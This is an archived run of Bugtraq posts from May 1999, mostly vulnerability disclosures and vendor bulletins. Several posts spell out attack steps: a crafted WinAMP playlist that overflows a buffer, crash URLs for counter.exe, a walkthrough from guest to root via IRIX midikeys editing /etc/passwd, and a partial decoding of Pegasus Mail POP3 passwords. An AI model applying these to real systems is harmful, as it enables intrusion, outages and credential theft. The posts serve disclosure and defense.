Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Red Hat Linux 6.0 fixes

Red Hat Linux 6.0 fixes

Hugo van der Kooij (hvdkooijCAIW.NL)
Sun, 16 May 1999 13:01:46 +0200

Hi,

As Red Hat did not send messages around I will fill in this gap for now.
(Hello Red Hat. Don't get sloppy on this.)

There are a few fixes available for Red Hat Linux 6.0 which can be found
on ftp://updates.redhat.com/6.0/ and these include:
 - Newer floppy images for i386.
 - newer pump package to fix DHCP anomalies.
 - newer xscreensaver package to fix security issues.
 - newer apmd package (i386 only)

See also:
http://www.redhat.com/corp/support/errata/rh60-errata-general.html

Hugo.

PS: There is no info about these images on the website. But it just adds
    support for the ICP Vortex controler according to the README file

PS/2: There are some typo's on the errata pages. It would be nice if these
      were fixed as well.

--
Hugo van der Kooij; Oranje Nassaustraat 16; 3155 VJ  Maasland
hvdkooijcaiw.nl		 http://www.caiw.nl/~hvdkooij/
--------------------------------------------------------------
Use of any of my email addresses for unsollicited (commercial)
    email is a clear intrusion of my privacy and illegal!

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: ICQ99 #1800 Now Available

Re: ICQ99 #1800 Now Available

Tsunehiko Baba (tbabaMTL.T.U-TOKYO.AC.JP)
Mon, 17 May 1999 01:48:44 +0900

John> There was a new version of ICQ99, build #1800,
John> released early this morning (or late last night) that
	(ommitting the rest)

Is this comment "early this morning" correct?
I got ICQ 99a Beta v2.20 Build #1800 on 1999.05.04 (about 2 weaks ago)
and installed it. Though I didn't remember exactly, I thought I'd got it
from TCOWS / Asia / Japan. And I didn't watch any announces about this
Build on ICQ pages (http://www.icq.com/), but about Build #1701.

Does anyone know when this Buld appears?

--
tb.

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: MSIE 4.0 Internet Content Advisor

MSIE 4.0 Internet Content Advisor

Kristian Koehntopp (krisVALIANT.KOEHNTOPP.DE)
Sun, 16 May 1999 14:06:53 +0200

I was toying around with the Internet Content Advisor function
of MSIE 4.0 and has a few funny experiences. For example, I was
unable to remotely administer my IIS 3.0 anymore, because the
IISADMIN pages do not have PICS labels at all.

Also, I tried the following experiment: I cleaned my cache,
enabled the Content Advisor and accessed www.playboy.com. Of
course I was denied access, but I was able to fetch the start
page of the playboy from my cache directory afterwards (using
for example Word or Dreamweaver). MSIE did not delete cache
objects for which I should not have access permissions...

Kristian

--
Kristian Koehntopp, Knooper Weg 46, 24103 Kiel, +49 170 2231 811
"Yes, that would all be nice.  However, as a friend of mine says, if frogs
 had wings they would not bump their ass when they hop." -- dleblanciss.net

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Buffer overflow in WinAMP 2.x

Re: Buffer overflow in WinAMP 2.x

Jello Biafra (biafraX-STREAM.CO.UK)
Mon, 17 May 1999 03:40:48 +0100

Date sent:      	Wed, 12 May 1999 13:02:43 +0200
Send reply to:  	Wojtek Kaniewski <wojtekkaBYDNET.COM.PL>
From:           	Wojtek Kaniewski <wojtekkaBYDNET.COM.PL>
Subject:        	Buffer overflow in WinAMP 2.x
To:             	BUGTRAQnetspace.org

> Introduction
> ------------
> WinAMP is a popular Windows sound player with support for many file
> formats (MP3, wave files, modules). It also supports MP3 streaming
> (let's call it sh0utcast).
>
> Description of the problem
> --------------------------
> If we tell WinAMP to open file location (Ctrl+L) which is over 256
> bytes long, it'll produce nice GPF. The bug also appears when loading
> playlists (.m3u and .pls)
>
> What can we do with this bug?
> -----------------------------
> Many sh0utcast radios place .pls files on their websites, which contain
> URL for radio's sh0utcast server.
>
> If we'll make b00m.pls file like this...
>
>   [playlist]
>   NumberOfEntries=1
>   File1=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... (about 256 A's)
>
> and put such link...
>
>   <A HREF="b00m.pls">Techno explosion -- The Coolest MP3 Radio</A>
>
> on our website, we can make couple of WinAMPs crash. I suppose, that
> there's a possibility to put our own code in the filename (see cDc-351
> for details).
>
> Nullsoft (producer of WinAMP) has been noticed about the bug two
> versions ago.
>
> --
> wojtekkairc.pl :: http://wojtekka.stone.pl/ :: ^wojtekkaircnet
>

On NT Server 4 with no Service Packs installed, this causes an
application error. Platform is a Cyrix MMX 233.

Access Violation (0xc0000005), Address : 0x62626262

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Microsoft Security Bulletin (MS99-015)

Microsoft Security Bulletin (MS99-015)

aleph1UNDERGROUND.ORG
Mon, 17 May 1999 17:38:50 -0700

The following is a Security  Bulletin from the Microsoft Product Security
Notification Service.

Please do not  reply to this message,  as it was sent  from an unattended
mailbox.
                    ********************************

Microsoft Security Bulletin (MS99-015)
--------------------------------------

Patch Available for "Malformed Help File" Vulnerability

Originally Posted: May 17, 1999

Summary
=======
Microsoft has released a patch that eliminates a vulnerability in the
Microsoft (r) Windows NT (r) help utility. The vulnerability could allow
arbitrary code to be run on a Windows NT machine.

A fully supported patch is available to eliminate the vulnerability, and
Microsoft recommends that affected customers download and install it, if
appropriate.

Issue
=====
The Windows Help utility parses and displays help information for
applications. The help information is contained in files of several types
that are generated by the Help Compiler (part of the AppWizard utility), and
is stored by default in the WINNT\help folder. By default, users can write
to this folder. An unchecked buffer exists in the Help utility, and a help
file that has been carefully modified could be used to execute arbitrary
code on the local machine via a classic buffer overrun technique. Because
the Help Compiler's output files do not generate the specific malformation
at issue here, this vulnerability could not be accidentally exploited.

The machines primarily at risk from this vulnerability are workstations,
terminal servers, and other machines that allow users to log on
interactively and add or modify help files. Servers generally do not allow
normal users to interactively log on. It is important to note that this
vulnerability would affect only the local machine; there is no capability to
directly attack a remote machine via this vulnerability.

The patch prevents arbitrary code from being executed on the machine, but
does not prevent malformed help files from causing the Help utility to fail.
However, failure of the Help utility does not threaten system stability or
security, and the Help utility can be restarted without incident.

While there are no reports of customers being adversely affected by this
vulnerability, Microsoft is proactively releasing this patch to allow
customers to take appropriate action to protect themselves against it.

Affected Software Versions
==========================
 - Microsoft Windows NT 4.0

What Microsoft is Doing
=======================
Microsoft has released patches that fix the problem identified. The patches
are available for download from the sites listed below in What Customers
Should Do.

Microsoft also has sent this security bulletin to customers
subscribing to the Microsoft Product Security Notification Service.
See http://www.microsoft.com/security/services/bulletin.asp for
more information about this free customer service.

Microsoft has published the following Knowledge Base (KB) article on this
issue:
 - Microsoft Knowledge Base (KB) article Q231605,
   Malformed Help File Causes Help Utility to Stop Responding,
   http://support.microsoft.com/support/kb/articles/q231/6/05.asp
   (Note: It might take 24 hours from the original posting of this
   bulletin for the KB article to be visible in the Web-based
   Knowledge Base.)

What Customers Should Do
========================
Microsoft highly recommends that customers evaluate the degree of risk that
this vulnerability poses to their systems and determine whether to download
and install the patch. The patch can be found at:
 - X86 version:
   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40
   /hotfixes-po stSP5/winhlp32-fix/winhlp-i.exe
 - Alpha version:
   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40
   /hotfixes-po stSP5/winhlp32-fix/winhlp-a.exe

NOTE: The above URLs have been word-wrapped for readability

More Information
================
Please see the following references for more information related to this
issue.
 - Microsoft Security Bulletin MS99-015,
   Patch Available for 'Malformed Help File' Vulnerability
   (The Web-posted version of this bulletin),
   http://www.microsoft.com/security/bulletins/ms99-015.asp.
 - Microsoft Knowledge Base (KB) article Q231605,
   Malformed Help File Causes Help Utility to Stop Responding,
   http://support.microsoft.com/support/kb/articles/q231/6/05.asp

Obtaining Support on this Issue
===============================
If you require technical assistance with this issue, please contact
Microsoft Technical Support. For information on contacting Microsoft
Technical Support, please see
http://support.microsoft.com/support/contact/default.asp.

Acknowledgments
===============
Microsoft acknowledges David Litchfield (mnemonixglobalnet.co.uk) of Arca
Systems for discovering this vulnerability and reporting it to us.

Revisions
=========
 - May 17, 1999: Bulletin Created.


For additional security-related information about Microsoft products,
please visit http://www.microsoft.com/security


-------------------------------------------------------------------------

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS PROVIDED "AS IS"
WITHOUT WARRANTY OF ANY KIND. MICROSOFT DISCLAIMS ALL WARRANTIES, EITHER
EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES OF MERCHANTABILITY AND FITNESS
FOR A PARTICULAR PURPOSE. IN NO EVENT SHALL MICROSOFT CORPORATION OR ITS
SUPPLIERS BE LIABLE FOR ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT,
INCIDENTAL, CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN
IF MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES. SOME STATES DO NOT ALLOW THE EXCLUSION OR
LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES SO THE
FOREGOING LIMITATION MAY NOT APPLY.

(c) 1999 Microsoft Corporation. All rights reserved. Terms of Use.

   *******************************************************************
You have received  this e-mail bulletin as a result  of your registration
to  the   Microsoft  Product  Security  Notification   Service.  You  may
unsubscribe from this e-mail notification  service at any time by sending
an  e-mail  to  MICROSOFT_SECURITY-SIGNOFF-REQUESTANNOUNCE.MICROSOFT.COM
The subject line and message body are not used in processing the request,
and can be anything you like.

For  more  information on  the  Microsoft  Security Notification  Service
please    visit    http://www.microsoft.com/security/bulletin.htm.    For
security-related information  about Microsoft products, please  visit the
Microsoft Security Advisor web site at http://www.microsoft.com/security.

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: ICQ99 #1800 Now Available

Re: ICQ99 #1800 Now Available

John (flamingdogYAHOO.COM)
Mon, 17 May 1999 16:25:18 -0700

--- Tsunehiko Baba <tbabaMTL.T.U-TOKYO.AC.JP> wrote:
> John> There was a new version of ICQ99, build #1800,
> John> released early this morning (or late last
> night) that
> 	(ommitting the rest)
>
> Is this comment "early this morning" correct?
> I got ICQ 99a Beta v2.20 Build #1800 on 1999.05.04
> (about 2 weaks ago)
> and installed it. Though I didn't remember exactly,
> I thought I'd got it
> from TCOWS / Asia / Japan. And I didn't watch any
> announces about this
> Build on ICQ pages (http://www.icq.com/), but about
> Build #1701.
>
> Does anyone know when this Buld appears?
>
> --
> tb.
>

>From the numerous replies (and a few insults) I have
to clear this up, it was officialy ANNOUNCED the day I
submitted the message.

-John
_____________________________________________________________
Do You Yahoo!?
Free instant messaging and more at http://messenger.yahoo.com

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Denial of Service in Counter.exe version 2.70

Denial of Service in Counter.exe version 2.70

Mnemonix (mnemonixGLOBALNET.CO.UK)
Wed, 19 May 1999 02:00:11 +0100

A denial of service exists in counter.exe version 2.70, a fairly popular
webhit counter used on the Win32 platform with web servers such as IIS and
WebSite Pro. There are two different bugs:

1) When someone requests :
http://no-such-server-really/scripts/counter.exe?%0A this will create an
entry in counter.log of a blank line then a ",1" . If the person then
refreshes their browser and requests it again you get an Access Violation in
counter.exe - the instruction at 0x00414c0a referenced memory at 0x00000000.

2) When someone requests:
http://no-such-server-really/scripts/counter.exe?AAAAAover-2200-As you get a
similar problem - though not a buffer overrun.

Whilst in a state of "hanging" all other vaild requests for counter are
queued and not dealt with until someone goes to the console and okays the AV
messages. Added to this memory can be consumed if the page is continuosly
requested.

I mailed the author twice about this but as I have received no response I
have nothing left to do but send this on.
Cheers,
David Litchfield
http://www.infowar.co.uk/mnemonix
http://www.arca.com

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: LD_PRELOAD: Clarification

Re: LD_PRELOAD: Clarification

John Daniele (JDanieleKPMG.CA)
Tue, 18 May 1999 12:06:47 -0400

Barnett wrote:
> cc    -o rollover rollover.c
> "rollover.c", line 75: undefined symbol: PTRACE_PEEKUSR
> "rollover.c", line 77: undefined symbol: EBX
> cc: acomp failed for rollover.c
> *** Error code 2
> Solaris 2.6
> What OS is your program for?

In response to similar emails rev'd, I was sitting in front of a linux box at
the
time of the LD_PRELOAD posting, thus my code reflects this. However, Solaris
2.6 should support PTRACE_PEEKUSR as this was favoured over PTRACE_READDATA
in 2.5 I believe (correct me if I'm wrong). In any case, look at <sys/ptrace.h>
for valid request types. The value of EBX is defined in <asm/ptrace.h> and is 0.
If all else fails, you can always issue ioctl routines on a process within the
/proc filesystem ;)

										John
Daniele
										jdanielekpmg.ca
										VOX:
(416) 777-3759

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Secure Storage of Secrets in Windows

Re: Secure Storage of Secrets in Windows

Nick FitzGerald (nickvirus-l.demon.co.uk)
Tue, 18 May 1999 12:35:28 +0000

> The Win32 API provides such service. Although in the past it was
> found that its encryption was rather weak Microsoft claims to have
> fixed it, no one else has claimed otherwise, and its better than
> nothing. (References:
> http://www.netsys.com/firewalls/firewalls-9512/0442.html
> http://www.geek-girl.com/bugtraq/1995_4/0138.html ).
>
> So here is a reminder to Windows application programs that you can
> use WNetCachePassword and WNetGetCachedPassword, which in some
> documentation MS calls the Master Password API.

Indeed.

And for admins who wish to prevent user machines from caching
passwords the following Win9x REG file may be useful:

   REGEDIT4

   [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Network]
   "DisablePwdCaching"=dword:00000001

Apply that to a client machine then nuke all PWL files in the Windows
dir and you need not worry whether future vulnerabilities might open
you to exposure from cached passwords.

I imagine there is something similar for NT.  Anyone know the
details?


Regards,

Nick FitzGerald

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: SunOS 5.6 (X86) lpset vulnerability

Re: SunOS 5.6 (X86) lpset vulnerability

Michael Dooley (mdooleyDPG.DEVRY.EDU)
Mon, 17 May 1999 22:18:30 -0500

I to got that message but that was on a sparc. When I tried it on an x86 it
worked. go figure.

~Optimus
    Keep the truth rolling in and they cant close the doors forever.
----- Original Message -----
From: James Edwards <albenizEARTHLINK.NET>
To: <BUGTRAQNETSPACE.ORG>
Sent: Thursday, May 13, 1999 11:58 PM
Subject: Re: SunOS 5.6 (X86) lpset vulnerability


> Sam Carter wrote:
>
> > It failed with: 'Permission denied: not in group 14' when I tried it on
a
> > SunOS 5.6 Generic_105181-11 sun4u sparc SUNW,Ultra-250
> >
> > the header stated that this was for x86, but the manpage says that:
> >      Only a superuser or a member of Group 14 may execute lpset.
> > and I'm assuming that is the same on both architectures.
> >
> > --sam
>
> i get the same results on the x86 architecture...
>

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Clarification: LD_PRELOAD issue

Re: Clarification: LD_PRELOAD issue

Daniel Brown (dbrownCCDC.CAM.AC.UK)
Tue, 18 May 1999 15:40:38 +0100

Here's a similar snippet for Solaris using the procfs interface...

Dan.

--

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/syscall.h>
#include <sys/uio.h>

#include <fcntl.h>
#include <procfs.h>
#include <stdio.h>
#include <unistd.h>

/* Faking of the time() system call via procfs.
 *
 * Daniel Brown, dbrownccdc.cam.ac.uk
 *
 * Compiled and tested under Solaris 2.6/sparc and 2.6/x86
 */

int
read_status(pid_t pid, pstatus_t *status)
{
	char buf[MAXPATHLEN];
	int fd;
	
	sprintf(buf, "/proc/%d/status", (int) pid);
	
	if ((fd = open(buf, O_RDONLY)) == -1) {
		perror("read_status(open)");
		return 1;
	}
	
	if (read(fd, (void *) status, sizeof(pstatus_t)) != sizeof(pstatus_t))
	{
		perror("read_status(read)");
		return 1;
	}
	close(fd);
	
	return 0;
}

int
write_ctl(pid_t pid, long syscall, void *arg, size_t arglen)
{
	int fd;
	char buf[MAXPATHLEN];
	struct iovec vec[2];
	
	sprintf(buf, "/proc/%d/ctl", (int) pid);
	
	if ((fd = open(buf, O_WRONLY)) == -1) {
		perror("write_ctl(open)");
		return 1;
	}
	
	vec[0].iov_base = (void *) &syscall;
	vec[0].iov_len = sizeof(long);

	if (arg != NULL) {
		vec[1].iov_base = arg;
		vec[1].iov_len = arglen;
		
		if (writev(fd, vec, 2) != (vec[0].iov_len + vec[1].iov_len)) {
			perror("write_ctl(write2)");
			close(fd);
			return 1;
		}
	} else {
		if (writev(fd, vec, 1) != vec[0].iov_len) {
			perror("write_ctl(write1)");
			return 1;
		}
	}
	
	close(fd);
	
	return 0;
}
	
int
main(int argc, char **argv)
{
	pid_t pid, ppid;
	pstatus_t pstatus;
	sysset_t sysset;
	long val;
	
	setvbuf(stdout, (char *) NULL, _IONBF, (size_t) 0);
	
	ppid = getpid();
	
	if (read_status(ppid, &pstatus))
		exit(1);

	printf("Parent PID is %d\n", (int) ppid);
	
	printf("Setting PCSEXIT for time() : stop on exit from time().\n");
	
	premptyset(&sysset);
	praddset(&sysset, SYS_time);

	if (write_ctl(ppid, PCSEXIT, (void *) &sysset, sizeof(sysset_t)))
		exit(1);
		
	printf("Setting PR_FORK, so that the child inherits these traps.\n");

	val = PR_FORK;
	
	if (write_ctl(ppid, PCSET, (void *) &val, sizeof(long)))
		exit(1);

	printf("Finally, setting PCSENTRY for exit() "
	       ": stop on entry to exit().\n");
	
	premptyset(&sysset);
	praddset(&sysset, SYS_exit);

	if (write_ctl(ppid, PCSENTRY, (void *) &sysset, sizeof(sysset_t)))
		exit(1);
	
	if ((pid = fork()) < 0) {
		perror("fork");
		exit(1);
	} else if (pid > 0) { /* Parent */
		
		printf("Clearing exit() trap for the parent...\n");
		
		premptyset(&sysset);
		if (write_ctl(ppid, PCSENTRY, (void *) &sysset,
		sizeof(sysset_t)))
			exit(1);	/* Good luck! */
		
		if (read_status(pid, &pstatus))
			exit(1);
		
		printf("Child PID is %d and %s have a trap set on time().\n",
			(int) pstatus.pr_pid,
			(prismember(&pstatus.pr_sysexit,
			SYS_time)) ? "does" : "doesn't");
		
		while (1) {
		
		printf("Waiting for child to call time() or exit().\n");

		if (write_ctl(pid, PCWSTOP, (void *) 0, 0))
			exit(1);
			
		printf("Write PCWSTOP returned. Reading status.\n");
		
		if (read_status(pid, &pstatus))
			exit(1);
		
		if (pstatus.pr_lwp.pr_syscall == SYS_exit) {
			printf("Child has called exit(). Bye!\n");
			exit(0);
		} else if (pstatus.pr_lwp.pr_syscall != SYS_time) {
			printf("We've caught syscall %d! Eeeek!\n",
				(int) pstatus.pr_lwp.pr_syscall);
			exit(1);
		}
		
		printf("Child has called time().\n");
				
		printf("LWP register R_R0 is %d.\n",
			(int) pstatus.pr_lwp.pr_reg[R_R0]);
		
		printf("Setting LWP register R_R0 to 123.\n");
		
		pstatus.pr_lwp.pr_reg[R_R0] = 123;
		if (write_ctl(pid, PCSREG, (void *) &pstatus.pr_lwp.pr_reg,
				sizeof(prgregset_t)))
			exit(1);
				
		printf("Restarting the child.\n");
		
		val = 0L;
		
		if (write_ctl(pid, PCRUN, (void *) &val, sizeof(long)))
			exit(1);
		
		printf("Restarted.\n");
		
		}	/* while (1) */

		/* NOT REACHED */
	}
	
	/* Child */

	sleep(5);
	
	execl("/usr/bin/date", "/usr/bin/date", (char *) NULL);
		
	perror("execl failed");
	
	return 99;
}

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Research question

Research question

Morrill, Ralph (rmorrillPYTHON.IDEAS.SAIC.COM)
Tue, 18 May 1999 10:24:47 -0400

I am writing a paper about PKI implementations. And while the problems and
holes in many Operating Systems are well known, it is harder to find
information about certificate authorities. Since PKI rests with the "CA" am
interested in finding out if anyone here has worked with a CA and is aware
of any holes in either the Netscape or Microsoft versions of the CA.

Will post paper publicly when completed, if anyone is interested.

Thanks Much

R. Daniel Morrill
Security Engineer
SAIC Columbia Maryland

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Secure Storage of Secrets in Windows

Re: Secure Storage of Secrets in Windows

Olaf Titz (olafBIGRED.INKA.DE)
Wed, 19 May 1999 09:42:51 +0300

> The Win32 API provides such service. Although in the past it was found
> that its encryption was rather weak Microsoft claims to have fixed it,
> no one else has claimed otherwise, and its better than nothing.

Since this allows the encryption of user data and Microsoft ist U.S.
based , the algorithm _must_ be weak. Otherwise they could have used
just RC4 with the password as key instead of RC4 with a 32 bit(!)
hash of the password. This is not Microsoft stupidity but U.S.
government stupidity.

With today's CPU power 32 bit of key is not better than nothing.
I could brute force that in one week with my single PC.

Olaf

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: tcsh overflow

tcsh overflow

arkth (arkthFRIKO4.ONET.PL)
Mon, 17 May 1999 09:53:19 +0200

While few days ago there was discussion about bash overflow on bugtraq i
found another overflow in tcsh-6.07.09-1 [ rh 5.2 ].
The problem is in too long $HOME evironment variable [ very old thing -
zgv overflow ]. I don't know if it's a dangerous problem, but like someone
said this shell can be used in some kind of script with SUID, etc.

example:
$ HOME=AAAAAAAAAAAAAAA...AAA
$ export HOME
$ tcsh
Segmentation fault (core dumped)
$ gdb tcsh core
GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(no debugging symbols found)...
Core was generated by `-csh'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libnsl.so.1...done.
Reading symbols from /lib/libtermcap.so.2...done.
Reading symbols from /lib/libcrypt.so.1...done.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
Reading symbols from /lib/libnss_files.so.1...done.
#0  0x410041 in ?? ()
(gdb)

hmmm... that's all =)
sorry, if it's not a new thing, but i haven't seen anything like this
before on bugtraq...
arkth [holix inc.]
--
mail: arkthfriko4.onet.pl

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: IRIX midikeys root exploit.

IRIX midikeys root exploit.

Larry W. Cashdollar (lwcashdBIW.COM)
Wed, 19 May 1999 11:25:59 -0400

Aleph1,
	Please forgive me if this has already been on this list. I searched
geek-girl with no luck.  I have been auditing our IRIX boxes and found what I
believe to be a new vulnerability.
	
	On IRIX 6.5 systems (IRIX Release 6.5 IP28 )
	# uname -a
	IRIX64 devel 6.5 05190004
	
	The setuid root binary midikeys can be used to read any file on the
system using its gui interface.  It can also be used to edit anyfile on the
system.  I was able to get from guest account access to root access using the
following procedure.
	
	
	1) Choose an unpassworded account and telnet in. I like guest or lp.
	
	devel 25% id
	uid=998 gid=998(guest)


	2) Execute the midikeys application with display set to your host.

	devel 26% ./midikeys
	devel 27% Xlib:  extension "GLX" missing on display "grinch:0.0".
	Xlib:  extension "GLX" missing on display "grinch:0.0".


	3) under the midikeys window click sounds and then midi songs. This will 	
	open a file manager type interface.
	
	4) You can enter the path and filename of files you which to read.
	    including root owned with group/world read/write permissions unset.

	5) If you select a file like "/usr/share/data/music/README" it will
	appear in a text editor.  Use the text editor to open /etc/passwd and
	make modifications at will. Save and enjoy.
	
So I removed the '*' from sysadm...

$ su sysadm
# id
uid=0(root) gid=0(sys)

devel 28%  ls -l /usr/sbin/midikeys
-rwsr-xr-x    1 root     root      218712 Jan 10 17:19 /usr/sbin/midikeys

	
	I have tested this on 2 IRIX 6.5 hosts with success. A patch exists for
	startmidi and stopmidi buffer overflows.
	
	More info on previous patch:
	ftp://sgigate.sgi.com/security/19980301-01-PX).
	
	However, I didnt find any for midikeys.
	
	
	-- Larry W. Cashdollar
	   UNIX/Security Operations.
	   Computer Sciences Corporation.
	

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Pegasus Mail weak encryption

Pegasus Mail weak encryption

galldor (galldorUKONLINE.CO.UK)
Sat, 15 May 1999 12:42:12 +0000

---------------------------------------------------------------------
Pegasus Mail Weak Encryption
Versions Effected: ALL (but I wrote about the V2 encryption on
3.0+)
Bug Found by: galldor (galldormicrohack.com)
Versions tested: V1 and V2 of the password Encryption
Brief Description: There is Weak Encryption on Pegasus Mail
which allows users to read pop3 passwords.
---------------------------------------------------------------------

I've found extreamly weak encryption in the Pegasus Mail Client,
This can be cracked with ease which means any user could find
out othere peoples POP3 Passwords.

The POP3 Passwords are kept in the \mail\USER\pmail.ini
so c:\pmail\mail\g00f\pmail.ini would give the user g00f's
configuration file.
the file looks something like this:

[Pegasus Mail for Windows - built-in TCP/IP Mail]
Host where POP3 mail account is located   = g00fey.com
POP3 mail account (username on host)      = g00f
V2 Password for POP3 mail account          = $moL
Delete downloaded mail from host              = Y
Largest message size to retrieve                = 0
Directory to place incoming POP3 mail      = C:\PMAIL\MAIL\g00f
Transport control word                              = 66308
SMTP relay host for outgoing mail             = g00fey.com
Search mask to locate outgoing messages
 = C:\PMAIL\MAIL\g00f\*.PMX
Alternative From: field for message       = galldormicrohack.com

As this text file is world read/writable a user could easley edit the
file so messages go to a new directory or choose not to delete
pop3 mail from host.
But the main problem is the weak encryption on the V2 Password.
This is a very simple algerithum.

It is encrypted as follows.

The letter itself.
The placement of the letter in the password.
V2 encrypts so that there is the same amount of letters/numbers
as in the pass.

Cracking It:
I won't go into that much detail as it is so simple, if someone could
be bothered they could write a small C program to do this.

First you have to Ignore the $ completely. The letters and Numbers
after the $ are the encrypted values of the password so anything
after the $ is also the size of the password.
Here are a few examples of how to crack it and how the encryption
works.

a = $m	# Just testing....
aa = $mo
aaa = $moL

b = $R
bb = $R?
bbb = £R?8

# As you can see the weak encryption is already showing as the
encryption dosn't even encrypt by the number of letters.

# The Encryption works like this

1st Letter placement of a = m
2nd Letter placement of a = o
3rd Letter placement of a = L

etc etc
So to find aab it would be as followed:

aab = 1st a + 2nd a + 3rd b (which) = mo8 # so in the ini the pass
will be $mo8
abb = 1st a + 2nd b + 3rd b = $m?8

So you could now find out:

bab = $Ro8

As pegasus is a popular mail client on Windows Networks this
could mean a compromise of security as most pop3 passwords are
the same as the telnet/ssh etc.
Older versions of pegasus use the same kind of encryption it is set
out the same but just uses differnet numbers and letters to encrypt.

---------------------------------
Galldor

http://g00fteam.hypermart.net
http://www.microhack.com
---------------------------------

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Creative Video Blaster Webcam stores passwords in plaintext

Creative Video Blaster Webcam stores passwords in plaintext

Ulandron (ulandronundersec.com)
Tue, 18 May 1999 04:09:22 +0200

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi,

this is my first post to bugtraq, so excuse me if this is already known.
After a quick search through the bugtraq archives, I didn't find
anything related to this issue so I thought users should know about this.
I don't know if this belongs here after aleph's recent post about "Secure
Storage of Secrets in Windows".

The passwords for the ftp account where the images are going to be
uploaded are stored in plain text in the file /%windir%/sysdat.dll, i.e.
c:\windows\sysdat.dll and they look like this:

[Web]
FTPUserName=foo
FTPUserPWD=bar

This problem affects both versions 1.0 and 1.1 of this software.

Creative Labs Spain has been notified, and they answered they don't
support neither freeware or OEM products.

ulandron

- ---------------------------------------------------------------------
Ulandron [ulandronundersec.com] UIN #16059242 http://www.undersec.com
Key-ID: 1024D/CF42B63F available at http://undersec.com/members/
Key fingerprint = 9A69 EC5B 2193 9F71 CD2C D6E7 3DD2 483C CF42 B63F


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v0.9.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE3QMviPdJIPM9Ctj8RAvAlAJ9hWjSYIcrN3nOvTMHQ6+EPRs6XXACbBNGO
YuOKLkYv/qoPGQF9XNX78C4=
=Xmdn
-----END PGP SIGNATURE-----

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Update to Microsoft Security Bulletin (MS99-013)

Update to Microsoft Security Bulletin (MS99-013)

aleph1UNDERGROUND.ORG
Wed, 19 May 1999 18:04:43 -0700

The following is a Security  Bulletin from the Microsoft Product Security
Notification Service.

Please do not  reply to this message,  as it was sent  from an unattended
mailbox.
                    ********************************

Update to Microsoft Security Bulletin (MS99-013)
------------------------------------------------

Patches Available for File Viewers Vulnerability

Originally Posted: May 7, 1999

Updated: May 19, 1999

Summary
=======
This is an update to Microsoft Security Bulletin MS99-013. The purpose of
the update is to advise  customers of the availability of patches that
eliminate a vulnerability that occurs in some file  viewers included in
Microsoft (r) Internet Information Server and Site Server. The vulnerability
could allow a web site visitor to view, but not to change, files on the
server, provided that  they knew or guessed the name of each file and had
access rights to it based on Windows NT ACLs.

Issue
=====
Microsoft Site Server and Internet Information Server include tools that
allow web site visitors  to view selected files on the server. These are
installed by default under Site Server, but must  be explicitly installed
under IIS. These tools are provided to allow users to view the source  code
of sample files as a learning exercise, and are not intended to be deployed
on production  web servers. The underlying problem in this vulnerability is
that the tools do not restrict which  files a web site visitor can view.

It is important to note several important points:
 - These file viewers are not installed by default under IIS.
 - The web site visitor would need to know or guess the name
   of each file they wished to view.
 - This vulnerability only allows a web site visitor to view
   files, not to change them or to create new ones.
 - The file viewers are subject to normal Windows NT file
   permission ACLs. A web site visitor could only use the file
   viewers to read files for which they have read access.
 - The viewers can only be used to view files on the same disk
   partition as the currently-displayed web page. Databases such
   as those used by e-commerce servers are typically stored on a
   different physical drive, and these would not be at risk.

While there are no reports of customers being adversely affected by this
vulnerability, Microsoft  is proactively releasing this bulletin to allow
customers to take appropriate action to protect  themselves against it.

Affected Software Versions
==========================
 - Microsoft Site Server 3.0, which is included with Microsoft
   Site Server 3.0 Commerce Edition, Microsoft Commercial
   Internet System 2.0, and Microsoft BackOffice Server 4.0 and 4.5
 - Microsoft Internet Information Server 4.0

What Microsoft is Doing
=======================
Microsoft has released patches that fix the problem identified. The patches
are available for  download from the sites listed below in What Customers
Should Do.

Microsoft also has sent this security bulletin to customers subscribing
to the Microsoft Product Security Notification Service. See
http://www.microsoft.com/security/services/bulletin.asp for more
information about this free customer service.

Microsoft has published the following Knowledge Base (KB) article on this
issue:
 - Microsoft Knowledge Base (KB) article Q231368,
   Solution Available for File Viewers Vulnerability,
